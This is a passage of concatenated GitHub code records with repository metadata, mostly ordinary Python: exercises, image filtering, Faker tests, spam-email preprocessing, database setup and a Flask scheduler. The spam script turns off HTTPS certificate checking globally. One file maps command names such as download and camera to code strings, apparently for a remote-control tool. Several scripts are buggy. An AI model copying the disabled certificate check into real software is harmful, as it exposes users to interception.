print(path)\n","repo_name":"zulip/zulint","sub_path":"zulint/lister.py","file_name":"lister.py","file_ext":"py","file_size_in_byte":6667,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"18"} +{"seq_id":"38215649434","text":"#!/usr/bin/env python3\n\nimport random\n\ndef main():\n # this is a wordbank\n wordbank= [\"indentation\", \"spaces\"]\n\n wordbank.append(4)\n\n # list of TLG students\n tlgstudents= [\"Brandon\", \"Caleb\", \"Cat\", \"Chad the Beardulous\", \"Chance\", \"Chris\", \"Jessica\", \"Jorge\", \"Joshua\", \"Justin\", \"Lui\", \"Stephen\"]\n\n num = int(input(\"Give me a number between 0 and 11:\\n> \"))\n\n student_name = tlgstudents[num]\n\n print(f\"{student_name} always uses {wordbank[2]} {wordbank[1]} to indent.\")\n \n num = random.randint(0, 11)\n student_name = tlgstudents[num]\n\n print(f\"{student_name} always uses {wordbank[2]} {wordbank[1]} to indent.\")\n\nmain()\n","repo_name":"stephenglunt/mycode","sub_path":"listChallenge.py","file_name":"listChallenge.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7122550071","text":"#Wrong answer 10%\r\nwhile True:\r\n try:\r\n orig = {}\r\n sala = {}\r\n res = 0\r\n n = int(input())\r\n if n == 0:\r\n break\r\n for i in range(n):\r\n a, b = map(str,input().split())\r\n if len(a) > 20:\r\n break\r\n orig[a] = b\r\n n = int(input())\r\n for i in range(n):\r\n c, d = map(str,input().split())\r\n sala[c] = d\r\n\r\n for i in sala.keys():\r\n if len(set(sala[i]) - set(orig[i])) > 1 or len(set(orig[i]) - set(sala[i])) > 1:\r\n res += 1\r\n\r\n print(res)\r\n except EOFError:\r\n break","repo_name":"cesarfois/URI_JUDGE","sub_path":"1911 v3.py","file_name":"1911 v3.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"70791382760","text":"import cv2\nimport pathlib\nimport os\n\n\ndef jpg_compression(img):\n rates = [1, 5, 10, 25, 50, 75, 90, 100]\n compressed_images = []\n for rate in rates:\n compression = [int(cv2.IMWRITE_JPEG_QUALITY), rate]\n # cv2.imwrite(f\"/Users/howechen/GitHub/face_recognition_system/code_base/scaffold/result{rate}.jpg\", img, compression)\n rtv, encoded_image = cv2.imencode(\".jpg\", img, compression)\n compressed_image = cv2.imdecode(encoded_image, 1)\n compressed_images.append(compressed_image)\n return compressed_images\n\n\ndef median_filter(img):\n rates = [1, 3, 5, 7, 9]\n compressed_images = []\n for rate in rates:\n compressed_image = cv2.medianBlur(img, rate)\n compressed_images.append(compressed_image)\n return compressed_images\n\n\ndef gaussian_filter(path: str):\n rates = [1, 3, 5, 7, 9]\n compressed_images = []\n for rate in rates:\n compressed_image = cv2.GaussianBlur(img, (rate, rate), 0)\n compressed_images.append(compressed_image)\n return compressed_images\n\n\nif __name__ == '__main__':\n # raw_path = \"/Users/howechen/Dropbox/Lab/dataset/CV/lfw/Robert_Downey_Jr/Robert_Downey_Jr_0001.jpg\"\n # img = cv2.imread(raw_path)\n # # rates = [1, 5, 10, 25, 50, 75, 90, 100]\n # rates = [1, 3, 5, 7, 9]\n # for rate in rates:\n # # compression = [int(cv2.IMWRITE_JPEG_QUALITY), rate]\n # compressed_image = cv2.GaussianBlur(img, (rate, rate), 0)\n # # cv2.imwrite(f\"/Users/howechen/GitHub/face_recognition_system/code_base/scaffold/result{rate}.jpg\", img, compression)\n # # rtv, encoded_image = cv2.imencode(\".jpg\", img, compression)\n # # print(rtv)\n # # cv2.imshow(f\"result{rate}\", cv2.imdecode(encoded_image, 1))\n # cv2.imshow(f\"result{rate}\", compressed_image)\n # cv2.imwrite(\n # f\"/Users/howechen/GitHub/face_recognition_system/code_base/scaffold/gaussian_filter{rate}x{rate}.jpg\",\n # compressed_image)\n # if cv2.waitKey(0) & 0xFF == ord('q'):\n # cv2.destroyAllWindows()\n # exit(1)\n raw_path_dir = pathlib.Path(\"/Users/howechen/Dropbox/Lab/dataset/CV/lfw_multiple_images\")\n count = 0\n funcs = [jpg_compression, median_filter, gaussian_filter]\n for file in raw_path_dir.iterdir():\n print(file.name)\n count += 1\n if count >= 1001:\n break\n if file.is_file():\n img = cv2.imread(str(file.absolute()))\n for func in funcs:\n print(func.__name__)\n result = func(img)\n for i in range(len(result)):\n compressed_image = result[i]\n result_name = file.name.replace(\".jpg\", \"\") + f\"_{func.__name__}\" + str(i) + \".jpg\"\n cv2.imwrite(f\"/Users/howechen/Dropbox/Lab/dataset/CV/compressed_images/{result_name}\",\n compressed_image)\n","repo_name":"HoweChen/face_recognition_system","sub_path":"code_base/experiments/image_compression.py","file_name":"image_compression.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18295430100","text":"import pygame\nimport os\nimport time\nimport random\npygame.font.init()\n\nWIDTH, HEIGHT = 1280, 720\nWIN = pygame.display.set_mode((WIDTH,HEIGHT))\npygame.display.set_caption(\"First Attempt - Star Ting\")\n\nSTAR = pygame.image.load(os.path.join(\"pics\", \"star.png\"))\nBACKGROUND = pygame.image.load(os.path.join(\"pics\", \"background.png\")) #can scale using pygame.transform.scale(/#/,/scaleto/) \n\n# Load images\nRED_SPACE_SHIP = pygame.image.load(os.path.join(\"pics\", \"pixel_ship_red_small.png\"))\nGREEN_SPACE_SHIP = pygame.image.load(os.path.join(\"pics\", \"pixel_ship_green_small.png\"))\nBLUE_SPACE_SHIP = pygame.image.load(os.path.join(\"pics\", \"pixel_ship_blue_small.png\"))\n\n# Player player\nYELLOW_SPACE_SHIP = pygame.image.load(os.path.join(\"pics\", \"pixel_ship_yellow.png\"))\n\n# Lasers\nRED_LASER = pygame.image.load(os.path.join(\"pics\", \"pixel_laser_red.png\"))\nGREEN_LASER = pygame.image.load(os.path.join(\"pics\", \"pixel_laser_green.png\"))\nBLUE_LASER = pygame.image.load(os.path.join(\"pics\", \"pixel_laser_blue.png\"))\nYELLOW_LASER = pygame.image.load(os.path.join(\"pics\", \"pixel_laser_yellow.png\"))\n\n\ndef redraw_window(): #function inside a function so only avaliable in this fucntion but won't need to pass varaibles through..\n WIN.blit(BACKGROUND, (0,0))\n lives_label = main_font.render(f\"lives: {lives}\", 1, (255,255,255))\n level_label = main_font.render(f\"level: {level}\", 1, (255,255,255))\n \n WIN.blit(lives_label, (15,15))\n WIN.blit(level_label, (WIDTH - level_label.get_width() - 15,15))\n\n\ndef main_menu():\n redraw_window()\n\n\nmain_menu\n","repo_name":"VinayPatelGitHub/ChessSimulator","sub_path":"First Try - 30th May 2020/A1-3-1.py","file_name":"A1-3-1.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42583671528","text":"# coding=utf-8\n\nfrom __future__ import unicode_literals\n\nimport re\nimport unittest\n\nfrom decimal import Decimal\nfrom ukpostcodeparser.parser import parse_uk_postcode\n\nfrom faker import Faker\nfrom faker.providers.address.de_DE import Provider as DeProvider\nfrom faker.providers.address.el_GR import Provider as GrProvider\nfrom faker.providers.address.en_AU import Provider as EnAuProvider\nfrom faker.providers.address.en_CA import Provider as EnCaProvider\nfrom faker.providers.address.ja_JP import Provider as JaProvider\nfrom faker.providers.address.ne_NP import Provider as NeProvider\nfrom six import string_types\n\n\nclass TestDeDE(unittest.TestCase):\n \"\"\" Tests in addresses in the de_DE locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('de_DE')\n\n def test_city(self):\n city = self.factory.city()\n assert isinstance(city, string_types)\n assert city in DeProvider.cities\n\n def test_state(self):\n state = self.factory.state()\n assert isinstance(state, string_types)\n assert state in DeProvider.states\n\n def test_street_suffix_short(self):\n street_suffix_short = self.factory.street_suffix_short()\n assert isinstance(street_suffix_short, string_types)\n assert street_suffix_short in DeProvider.street_suffixes_short\n\n def test_street_suffix_long(self):\n street_suffix_long = self.factory.street_suffix_long()\n assert isinstance(street_suffix_long, string_types)\n assert street_suffix_long in DeProvider.street_suffixes_long\n\n def test_country(self):\n country = self.factory.country()\n assert isinstance(country, string_types)\n assert country in DeProvider.countries\n\n\nclass TestElGR(unittest.TestCase):\n \"\"\" Tests addresses in the el_GR locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('el_GR')\n\n def test_line_address(self):\n address = self.factory.line_address()\n assert isinstance(address, string_types)\n\n def test_city(self):\n city = self.factory.city()\n assert isinstance(city, string_types)\n assert city in GrProvider.cities\n\n def test_region(self):\n region = self.factory.region()\n assert isinstance(region, string_types)\n assert region in GrProvider.regions\n\n def test_latlng(self):\n latlng = self.factory.latlng()\n latitude = self.factory.latitude()\n longitude = self.factory.longitude()\n assert isinstance(latlng, tuple)\n assert isinstance(latitude, Decimal)\n assert isinstance(longitude, Decimal)\n\n\nclass TestEnAU(unittest.TestCase):\n \"\"\" Tests addresses in the en_AU locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('en_AU')\n\n def test_postcode(self):\n for _ in range(100):\n postcode = self.factory.postcode()\n assert re.match(\"\\d{4}\", postcode)\n\n def test_state(self):\n state = self.factory.state()\n assert isinstance(state, string_types)\n assert state in EnAuProvider.states\n\n def test_city_prefix(self):\n city_prefix = self.factory.city_prefix()\n assert isinstance(city_prefix, string_types)\n assert city_prefix in EnAuProvider.city_prefixes\n\n def test_state_abbr(self):\n state_abbr = self.factory.state_abbr()\n assert isinstance(state_abbr, string_types)\n assert state_abbr in EnAuProvider.states_abbr\n self.assertTrue(state_abbr.isupper())\n\n\nclass TestEnCA(unittest.TestCase):\n \"\"\" Tests addresses in en_CA locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('en_CA')\n\n def test_postalcode(self):\n for _ in range(100):\n postalcode = self.factory.postalcode()\n assert re.match(\"[A-Z][0-9][A-Z] ?[0-9][A-Z][0-9]\",\n postalcode)\n\n def test_postal_code_letter(self):\n postal_code_letter = self.factory.postal_code_letter()\n assert re.match(\"[A-Z]\", postal_code_letter)\n\n def test_province(self):\n province = self.factory.province()\n assert isinstance(province, string_types)\n assert province in EnCaProvider.provinces\n\n def test_province_abbr(self):\n province_abbr = self.factory.province_abbr()\n assert isinstance(province_abbr, string_types)\n assert province_abbr in EnCaProvider.provinces_abbr\n\n def test_city_prefix(self):\n city_prefix = self.factory.city_prefix()\n assert isinstance(city_prefix, string_types)\n assert city_prefix in EnCaProvider.city_prefixes\n\n def test_secondary_address(self):\n secondary_address = self.factory.secondary_address()\n assert isinstance(secondary_address, string_types)\n\n\nclass TestEnGB(unittest.TestCase):\n \"\"\" Tests addresses in the en_GB locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('en_GB')\n\n def test_postcode(self):\n for _ in range(100):\n assert isinstance(parse_uk_postcode(self.factory.postcode()), tuple)\n\n\nclass TestHuHU(unittest.TestCase):\n \"\"\" Tests addresses in the hu_HU locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('hu_HU')\n\n def test_postcode_first_digit(self):\n # Hungarian postcodes begin with 'H-' followed by 4 digits.\n # The first digit may not begin with a zero.\n for _ in range(100):\n pcd = self.factory.postcode()\n assert pcd[2] > \"0\"\n\n def test_street_address(self):\n \"\"\" Tests the street address in the hu_HU locale \"\"\"\n address = self.factory.address()\n assert isinstance(address, string_types)\n address_with_county = self.factory.street_address_with_county()\n assert isinstance(address_with_county, string_types)\n\n\nclass TestJaJP(unittest.TestCase):\n \"\"\" Tests addresses in the ja_JP locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('ja')\n\n def test_address(self):\n \"\"\" Test\"\"\"\n country = self.factory.country()\n assert isinstance(country, string_types)\n assert country in JaProvider.countries\n\n prefecture = self.factory.prefecture()\n assert isinstance(prefecture, string_types)\n assert prefecture in JaProvider.prefectures\n\n city = self.factory.city()\n assert isinstance(city, string_types)\n assert city in JaProvider.cities\n\n town = self.factory.town()\n assert isinstance(town, string_types)\n assert town in JaProvider.towns\n\n chome = self.factory.chome()\n assert isinstance(chome, string_types)\n assert re.match(\"\\d{1,2}丁目\", chome)\n\n ban = self.factory.ban()\n assert isinstance(ban, string_types)\n assert re.match(\"\\d{1,2}番\", ban)\n\n gou = self.factory.gou()\n assert isinstance(gou, string_types)\n assert re.match(\"\\d{1,2}号\", gou)\n\n building_name = self.factory.building_name()\n assert isinstance(building_name, string_types)\n assert building_name in JaProvider.building_names\n\n zipcode = self.factory.zipcode()\n assert isinstance(zipcode, string_types)\n assert re.match(\"\\d{3}-\\d{4}\", zipcode)\n\n address = self.factory.address()\n assert isinstance(address, string_types)\n\n\nclass TestNeNP(unittest.TestCase):\n \"\"\" Tests addresses in the ne_NP locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('ne_NP')\n\n def test_address(self):\n \"\"\" Tests the street address in ne_NP locale \"\"\"\n country = self.factory.country()\n assert isinstance(country, string_types)\n assert country in NeProvider.countries\n\n district = self.factory.district()\n assert isinstance(district, string_types)\n assert district in NeProvider.districts\n\n city = self.factory.city()\n assert isinstance(city, string_types)\n assert city in NeProvider.cities\n\n\nclass TestNoNO(unittest.TestCase):\n \"\"\" Tests the street address in no_NO locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('no_NO')\n\n def test_postcode(self):\n for _ in range(100):\n self.assertTrue(re.match(r'^[0-9]{4}$', self.factory.postcode()))\n\n def test_city_suffix(self):\n suffix = self.factory.city_suffix()\n assert isinstance(suffix, string_types)\n\n def test_street_suffix(self):\n suffix = self.factory.street_suffix()\n assert isinstance(suffix, string_types)\n\n def test_address(self):\n address = self.factory.address()\n assert isinstance(address, string_types)\n\n\nclass TestZhTW(unittest.TestCase):\n \"\"\" Tests addresses in the zh_tw locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('zh_TW')\n\n def test_address(self):\n country = self.factory.country()\n assert isinstance(country, string_types)\n\n street = self.factory.street_name()\n assert isinstance(street, string_types)\n\n city = self.factory.city()\n assert isinstance(city, string_types)\n\n address = self.factory.address()\n assert isinstance(address, string_types)\n\nclass TestZhCN(unittest.TestCase):\n \"\"\" Tests addresses in the zh_cn locale \"\"\"\n\n def setUp(self):\n self.factory = Faker('zh_CN')\n\n def test_address(self):\n country = self.factory.country()\n assert isinstance(country, string_types)\n\n street = self.factory.street_name()\n assert isinstance(street, string_types)\n\n city = self.factory.street_address()\n assert isinstance(city, string_types)\n\n province = self.factory.province()\n assert isinstance(province, string_types)\n\n district = self.factory.district()\n assert isinstance(district, string_types)\n\n address = self.factory.address()\n assert isinstance(address, string_types)\n\n for _ in range(100):\n self.assertTrue(re.match(r'\\d{5}', self.factory.postcode()))\n","repo_name":"Saber-xxf/faker1","sub_path":"tests/providers/test_address.py","file_name":"test_address.py","file_ext":"py","file_size_in_byte":9851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"34729385325","text":"from src.common.config import users\nfrom src.helpers.general import findInListOfDicts\nfrom src.strategies.loot.LowestBp import LowestBp\nfrom src.common.clients import makeIdleGameWeb2Client\n\n# VARS\nclient = makeIdleGameWeb2Client()\nuserAddress = users[0][\"address\"]\nteamId = users[0][\"teams\"][0][\"id\"]\nteams = client.listTeams(userAddress)\nteam = findInListOfDicts(teams, \"team_id\", teamId) # type: ignore\n\nif not team:\n print(\"Error getting team with ID \" + str(teamId))\n exit(1)\n\nstrategy: LowestBp = LowestBp(client).setParams(team)\n\n# TEST FUNCTIONS\ndef test() -> None:\n\n print(\">>> IS STRATEGY APPLICABLE?\")\n print(strategy.isApplicable())\n\n print(\">>> CHOSEN MINE\")\n try:\n print(strategy.getMine())\n except Exception as e:\n print(\"ERROR RAISED: \" + e.__class__.__name__ + \": \" + str(e))\n\n\n# EXECUTE\ntest()\n","repo_name":"coccoinomane/crabada.py","sub_path":"src/tests/strategies/loot/testLowestBp.py","file_name":"testLowestBp.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"18"} +{"seq_id":"20898298228","text":"def binary_search(ls, el, bg, en):\n while int(bg) <= int(en):\n tm = (bg + en) // 2\n if int(el) > int(ls[tm]):\n bg = tm + 1\n else:\n en = tm - 1\n return bg\n\n\ndef binary_sort(input_list: list) -> list:\n for i in range(0, len(input_list)):\n element = input_list[i]\n left, right = 0, i - 1\n ll = binary_search(input_list, element, left, right)\n for index in range(i, ll, -1):\n input_list[index] = input_list[index - 1]\n input_list[ll] = element\n return input_list\n\n\ndef find_position(input_list: list, search_element: int) -> int:\n assert search_element > input_list[0], \"Число меньше минимально возможного\"\n assert search_element <= input_list[-1], \"Число больше максимально возможного\"\n for index, element in enumerate(input_list[:-1]):\n if element < search_element and input_list[index + 1] >= search_element:\n return index\n\n\ndigits_line = input(\"Введите последовательность чисел через пробел: \")\n# digits_line = \"10 5 4 8 7 -6\"\ndigits = digits_line.split()\ndigits = [int(digit) for digit in digits]\nsorted_digits = binary_sort(digits)\nsearch_digit = int(input(\"Введите Ваше желаемое число: \"))\n# search_digit = 5\nindex = find_position(input_list=sorted_digits, search_element=search_digit)\nprint(f\"Отсортированный список: {sorted_digits}\")\nprint(f\"Номер позиции элемента: {index}\")\nprint()\n\n\n# array = [i for i in range(1, 100)] # 1,2,3,4,...\n#\n# # запускаем алгоритм на левой и правой границе\n# print(binary_search(array, element, 0, 99))\n","repo_name":"nesyshka/skillmod17","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30535002727","text":"import os\nfrom os.path import join\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport nltk\nfrom nltk.stem import PorterStemmer\n# from nltk.stem import SnowballStemmer\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\n\nimport ssl\n\nfrom bs4 import BeautifulSoup\n\nEASY_HAM_1_PATH = '01_Processing/spam_assassin_corpus/easy_ham_1'\nEASY_HAM_2_PATH = '01_Processing/spam_assassin_corpus/easy_ham_2'\nSPAM_1_PATH = '01_Processing/spam_assassin_corpus/spam_1'\nSPAM_2_PATH = '01_Processing/spam_assassin_corpus/spam_2'\n\nDATA_JSON_FILE = '01_Processing/email-text-data.json'\n\nSPAM_CAT = 1\nHAM_CAT = 0\n\n\nstemmer = PorterStemmer()\n# stemmer = SnowballStemmer('english')\n\n\ndef download_nltk_resources():\n try:\n _create_unverified_https_context = ssl._create_unverified_context\n except AttributeError:\n pass\n else:\n ssl._create_default_https_context = _create_unverified_https_context\n\n nltk.download('punkt')\n nltk.download('stopwords')\n\n\n# download_nltk_resources()\n\n\ndef extract_email(file):\n with open(file=file, mode='r', encoding='latin-1') as message:\n lines = message.readlines()\n\n body = None\n\n try:\n body_index = lines.index('\\n')\n\n except ValueError:\n pass\n\n else:\n body = lines[body_index:]\n\n for line in body:\n if line == '\\n':\n body.remove(line)\n\n body = '\\n'.join(line.strip() for line in body if line != '\\n')\n\n finally:\n return body\n\n\n# email_body = extract_email(file='01_Processing/practice_email.txt')\n# print(email_body)\n\n# Email Body Extraction\n\n\ndef email_body_generator(path):\n for root, dirnames, filenames in os.walk(path):\n for file_name in filenames:\n file_path = join(root, file_name)\n\n body = extract_email(file=file_path)\n yield file_name, body\n\n\ndef df_from_directory(path, classification):\n rows = []\n row_names = []\n for file_name, body in email_body_generator(path=path):\n rows.append({'MESSAGE': body, 'CLASSIFICATION': classification})\n row_names.append(file_name)\n\n return pd.DataFrame(rows, index=row_names)\n\n\ndef get_data():\n spam_emails = df_from_directory(path=SPAM_1_PATH, classification=SPAM_CAT)\n spam_emails = pd.concat([spam_emails, df_from_directory(path=SPAM_2_PATH, classification=SPAM_CAT)])\n # print(spam_emails.head())\n # print(spam_emails.shape)\n\n ham_emails = df_from_directory(path=EASY_HAM_1_PATH, classification=HAM_CAT)\n ham_emails = pd.concat([ham_emails, df_from_directory(path=EASY_HAM_2_PATH, classification=HAM_CAT)])\n # print(ham_emails.head())\n # print(ham_emails.shape)\n\n df = pd.concat([spam_emails, ham_emails])\n # print(df.shape)\n # print(df.head())\n # print(df.tail())\n\n # Check null\n # print(df['MESSAGE'].isnull().values.any())\n # print(df[df.MESSAGE.isnull()].index)\n # print(df.index.get_loc('.DS_Store'))\n #\n # print(df[692:695])\n\n df = df.drop(['.DS_Store'])\n # print(df['MESSAGE'].isnull().values.any())\n # print(df[df.MESSAGE.isnull()].index)\n # print(df[692:695])\n\n # Check empty\n # print((df.MESSAGE.str.len() == 0).any())\n\n # Locate empty\n # print(df(df.MESSAGE.str.len() == 0).index)\n # df.index.get_loc('.DS_Store')\n\n # Remove System File Entries from Dataframe\n # df = df.drop(['cmds', 'DS_Store'])\n # df.drop(['cmds', 'DS_Store'], inplace=True)\n\n # Add Document IDs to Track Emails in Dataset\n document_ids = range(0, len(df.index))\n df['DOC_ID'] = document_ids\n df['FILE_NAME'] = df.index\n df.set_index('DOC_ID', inplace=True)\n print(df.head())\n print(df.tail())\n\n return df\n\n\ndef save_data(df):\n df.to_json(DATA_JSON_FILE)\n\n\ndef get_data_from_json():\n df = pd.read_json(DATA_JSON_FILE)\n\n document_ids = range(0, len(df.index))\n df['DOC_ID'] = document_ids\n df['FILE_NAME'] = df.index\n df.set_index('DOC_ID', inplace=True)\n\n return df\n\n\ndef draw_pie_chart(df):\n print(df.CLASSIFICATION.value_counts())\n spam_count = df.CLASSIFICATION.value_counts()[1]\n ham_count = df.CLASSIFICATION.value_counts()[0]\n labels = ['Spam', 'Ham']\n sizes = [spam_count, ham_count]\n custom_colors = ['#c23616', '#487eb0']\n # offset = [0.05, 0.05]\n # labels = ['Spam', 'Ham', 'Lamb', 'Cam']\n # sizes = [30, 40, 20, 10]\n # custom_colors = ['#c23616', '#487eb0', '#e1b12c', '#4cd137']\n # offset = [0.05, 0.05, 0.05, 0.05]\n\n plt.figure(figsize=[3, 3], dpi=254)\n plt.pie(\n sizes,\n labels=labels,\n textprops={'fontsize': 9},\n startangle=90,\n autopct='%1.0f%%',\n colors=custom_colors,\n # explode=offset,\n pctdistance=0.8\n )\n\n # plt.show()\n\n # Donut Chart\n centre_circle = plt.Circle((0, 0), radius=0.6, fc='white')\n plt.gca().add_artist(centre_circle)\n\n plt.show()\n\n\ndef tokenize_message(message):\n return word_tokenize(message.lower())\n\n\ndef remove_stopwords(words_list):\n stopwords_set = set(stopwords.words('english'))\n return [stemmer.stem(word) for word in words_list if word.isalpha() and word not in stopwords_set]\n\n\ndef remove_html_tags(message):\n soup = BeautifulSoup(message, 'html.parser')\n return soup.prettify()\n # return soup.get_text()\n\n\nmsg = \"All work and no play makes Jack a dull boy. To be or not to be. ??? Nobody expects the Spanish Inquisition!\"\nwords = tokenize_message(msg)\nfiltered_words = remove_stopwords(words)\nprint(filtered_words)\n\n\ndef clean_data(df):\n pass\n\n\n# data = get_data()\n# save_data(data)\ndata = get_data_from_json()\nprint(data.head())\nprint(data.tail())\n\n# draw_pie_chart(data)\n\n\n# print(remove_html_tags(data.at[2, 'MESSAGE']))\n","repo_name":"clarenceantonmeryl/Data-Science","sub_path":"05_text_data/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39751034115","text":"'''\ncreates the movie and user database\n'''\n\nimport pandas as pd\nimport os\nimport sqlite3\n\nfilename = os.path.join(\"ml\", \"movies_v1.csv\")\nDATABASE = \"datahouse.db\"\n\n\ndef printer(cursor):\n cursor.execute('''SELECT * FROM User''')\n user1 = cursor.fetchone() # retrieve the first row\n print(user1) # Print the first column retrieved(user's name)\n\ndef createDatabase():\n conn = sqlite3.connect(DATABASE)\n pointer = conn.cursor()\n df1 = pd.read_csv(filename)\n createMovie = ''' CREATE TABLE Main(\n movieID INTEGER PRIMARY KEY NOT NULL,\n title TEXT,\n budget INTEGER NOT NULL,\n genres TEXT,\n originLanguage TEXT,\n english TEXT,\n company TEXT,\n country TEXT,\n releaseYear INTEGER,\n releaseMonth INTEGER,\n revenue INTEGER,\n runtime INTEGER,\n posterPath TEXT\n )\n '''\n UserTable = ''' CREATE TABLE User(\n email TEXT PRIMARY KEY NOT NULL,\n password TEXT\n )\n '''\n pointer.execute(createMovie)\n pointer.execute(UserTable)\n conn.commit()\n for index, row in df1.iterrows():\n insertValue = (index,row['title'],row['budget'],row['genres'],\n row['original_language'],row['english'],\n row['production_companies'],row['production_countries'],\n row['release_year'],row['release_month'], row['revenue'],\n row['runtime'],row['poster_path'])\n\n pointer.execute('''INSERT INTO Main VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)''', insertValue)\n conn.commit()\n printer(pointer)\n print(\"Successfully created database\")\n conn.close()\n","repo_name":"lukeymyuan/fetchAPI","sub_path":"rest-api/makeDatabase.py","file_name":"makeDatabase.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22522348151","text":"#TwoSetbits.py\nimport math\ndef pw(a,n):\n\tans = 1\n\tm=1000000007\n\twhile(n>0):\n\t\tif n&1:\n\t\t\tans = (ans*a)%m\n\t\ta=(a*a)%m\n\t\tn=n>>1\n\treturn(ans%m)\n\nif __name__ == '__main__':\n\tt = int(raw_input())\n\tfor i in range(0,t):\n\t\tlsb =1\n\t\tj=1\n\t\tq=0\n\t\tm=1000000007\t\t\n\t\tn = int(raw_input())\n\t\tj=math.ceil((-1+math.sqrt(1+8*n))/2)\n\t\tq = j*(j+1)/2\n\t\tmsb = pw(2,int(j))\n\t\t#print msb\n\t\tlsb = pw(2,int(j-1-(q-n)))\n\t\t#print lsb\n\t\tprint (msb+lsb)%m\n\n","repo_name":"revannth/python_algorithms","sub_path":"hacker_rank/TwoSetbits.py","file_name":"TwoSetbits.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5476686943","text":"\r\n\r\ndef commandList():\r\n c = {\r\n 'help': 'main_help()',\r\n 'exit': 'self.exitB()',\r\n 'version': 'version()',\r\n 'file': 'table(getFile())',\r\n 'dd': 'dd()',\r\n 'cdd': 'cdd(com[0:])',\r\n 'ls': 'ls()',\r\n 'clear': 'clear()',\r\n 'download': 'download(com[0:])',\r\n 'camera': 'camera()',\r\n }\r\n return c\r\n","repo_name":"dewaruccii/Phoenix","sub_path":"commandList/commandList.py","file_name":"commandList.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"sr","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23085857344","text":"import json\nimport sys\n\nimport cv2\n\nfrom .image_moments import ImageMoments\n\nclass WeaponService:\n WEAPONS_JSON = \"./weapons.json\"\n\n def __init__(self) -> None:\n self._weapons = self._get_weapons_info()\n \n def _get_weapons_info(self):\n with open(self.WEAPONS_JSON) as file:\n weapons = json.loads(file.read())\n \n for weapon in weapons:\n weapon_img = cv2.imread(weapon[\"filename\"], cv2.IMREAD_GRAYSCALE)\n weapon[\"moments\"] = ImageMoments.get_central_normalized_moments(weapon_img)\n\n return weapons\n \n def get_weapon_name(self, img):\n min_score = sys.maxsize\n min_score_char = None\n\n weapon_moments = ImageMoments.get_central_normalized_moments(img)\n\n for weapon in self._weapons: \n score = ImageMoments.get_shape_distance(weapon[\"moments\"], weapon_moments)\n\n if score < min_score:\n min_score = score\n min_score_char = weapon\n\n return min_score_char[\"name\"]","repo_name":"ViktorTav/pdi-projeto-final","sub_path":"src/services/weapon.py","file_name":"weapon.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32149941634","text":"import win32com.client\n\n\nmdb_file = \"Database.accdb\" # 数据库文件\nconn = win32com.client.Dispatch(r\"ADODB.Connection\") # 建立连接对象\nDSN = 'PROVIDER = Microsoft.ACE.OLEDB.12.0;DATA SOURCE = {}'.format(mdb_file) # Access2007及以后\nconn.Open(DSN) # 用游标打开数据连接\n\n# 打开一个记录集Recordset\nrs = win32com.client.Dispatch(r'ADODB.Recordset')\n# 查询语句\nsql = \"\"\"SELECT \n [ISBN]\n FROM [book]\n\"\"\"\nrs.Open(sql, conn, 1, 1)\nbooks_isbn = rs.GetRows()[0]\n\nbook_count = []\nfor isbn in books_isbn:\n rs = win32com.client.Dispatch(r'ADODB.Recordset')\n sql = \"\"\"SELECT\n [ISBN]\n FROM [borrow]\n WHERE [ISBN]='{}'\n \"\"\".format(isbn)\n rs.Open(sql, conn, 1, 1)\n book_count.append((isbn, rs.RecordCount))\n\nconn.Close()\n# print(book_count)\n\nbook_count = sorted(book_count, key = lambda x : x[1], reverse=True)\n# print(book_count)\nfor i in range(3):\n print(book_count[i])\n","repo_name":"hongm32/2020design","sub_path":"第2学期/【第42课】信息系统从无到有/5.0.图书排行榜(原始).py","file_name":"5.0.图书排行榜(原始).py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"74498915881","text":"import json\nimport time\nfrom flask import Flask, jsonify, request, send_file\nfrom query import *\nfrom flask_apscheduler import APScheduler\nfrom flask_cors import CORS\nimport os\n\napp = Flask(__name__)\nCORS(app)\nscheduler = APScheduler()\nscheduler.init_app(app)\nscheduler.start()\n\n\n@scheduler.task('interval', id='do_fetch_senegal_users',\n seconds=3600, misfire_grace_time=900)\ndef get_senegal_users():\n start_time = time.time()\n print('============================= START JOB 